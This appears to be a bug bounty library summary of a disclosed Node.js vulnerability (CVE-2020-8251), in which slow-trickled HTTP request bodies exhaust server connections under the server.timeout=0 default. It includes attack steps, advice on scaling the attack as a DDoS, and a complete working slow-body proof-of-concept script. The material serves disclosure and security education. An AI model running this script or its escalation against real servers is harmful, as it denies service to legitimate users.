# Denial of Service by resource exhaustion CWE-400 due to unfinished HTTP/1.1 requests

Node.js 13+ default server.timeout=0 lets attackers hold connections open by trickling request bodies, exhausting connection slots and denying service.

- Payout: $250
- Severity: critical
- Program: Node.js
- Found by: shogunpanda
- Disclosed: 2020-10-17
- CVE: CVE-2020-8251
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/868834
- Library page: https://bugbountylibrary.com/r/h1%3A868834
- Tags: area:oss domain:oss impact:dos kind:bounty platform:hackerone sev:critical tech:nodejs technique:default-creds technique:race-window vuln:dos

**Target:** Node.js http.Server request handling (server.timeout / headersTimeout)
**Root cause:** Node.js 13.0.0 changed default server.timeout to 0 (no idle timeout) to support serverless long-running requests; headersTimeout only covers the header phase, so a slow-trickled body never triggers idle detection and the socket stays open indefinitely.
**Steps:**
1. Open many TCP connections to the target Node.js HTTP server.
2. Send full request headers quickly so headersTimeout does not fire: `POST / HTTP/1.1\r\nContent-Type: text/plain\r\nContent-Length: 4096\r\n\r\n`.
3. Trickle body bytes one at a time with delay < server.timeout (e.g. 60s interval) so the socket is never idle; for Node prior to 13.0.0 at least one byte each 2 minutes must be sent.
4. Repeat in parallel from many sources until open-connection limit is reached; server stops accepting new requests.
**How found:** Noticed Node 13.0.0 changed default server.timeout from 2 minutes to 0 for serverless use cases, then reasoned that headersTimeout only guards the header phase while body handling is delegated to app modules that never see the request if the body never starts, leaving no core-level timeout for slow bodies.
**Exploitation:** Attacker opens many parallel connections and sends headers immediately, then drips body bytes at intervals shorter than any idle timeout. With default timeout=0 on Node 13+, connections persist for ~4096 minutes per request, exhausting the connection pool and denying service to legitimate clients.
**Escalation:** Scale by parallelizing connections across multiple attacking sources to reach the server's open-connection limit faster (DDoS).
**Insight:** When a runtime changes a security-relevant default (timeout 0) for a new deployment model, audit which attack surfaces that default previously covered; here the body phase had no core timeout because body parsing is delegated to userland modules, so a slow-body trickle bypasses both server.timeout and headersTimeout.

## Proof of concept (copied exactly from the original report)

**Slow-body DoS PoC client script**

```
const { createConnection } = require('net')

let start
let response = ''
let body = ''.padEnd(4096, '123')

const client = createConnection({ port: parseInt(process.argv[2], 10) }, () => {
  start = process.hrtime.bigint()

  // Send all the headers quickly so that server.headersTimeout is not triggered
  client.write('POST / HTTP/1.1\r\n')
  client.write('Content-Type: text/plain\r\n')
  client.write(`Content-Length: ${Buffer.byteLength(body)}\r\n`)
  client.write(`\r\n`)

  // Send the body very slower but in away that the server.timeout is not triggered
  let i = 0
  let interval = setInterval(() => {
    client.write(body[i])
    i++

    // Done sending, end the request
    if (i === body.length) {
      clearInterval(interval)
      client.write(`\r\n\r\n`)
    }
  }, 60000)
})

client.on('data', data => {
  response += data
  client.end()
})

client.on('close', () => {
  const duration = Number(process.hrtime.bigint() - start) / 1e9

  console.log(`Receive the following response (${response.length} bytes) in ${duration.toFixed(3)} s:\n\n`)
  console.log(response)
})
```

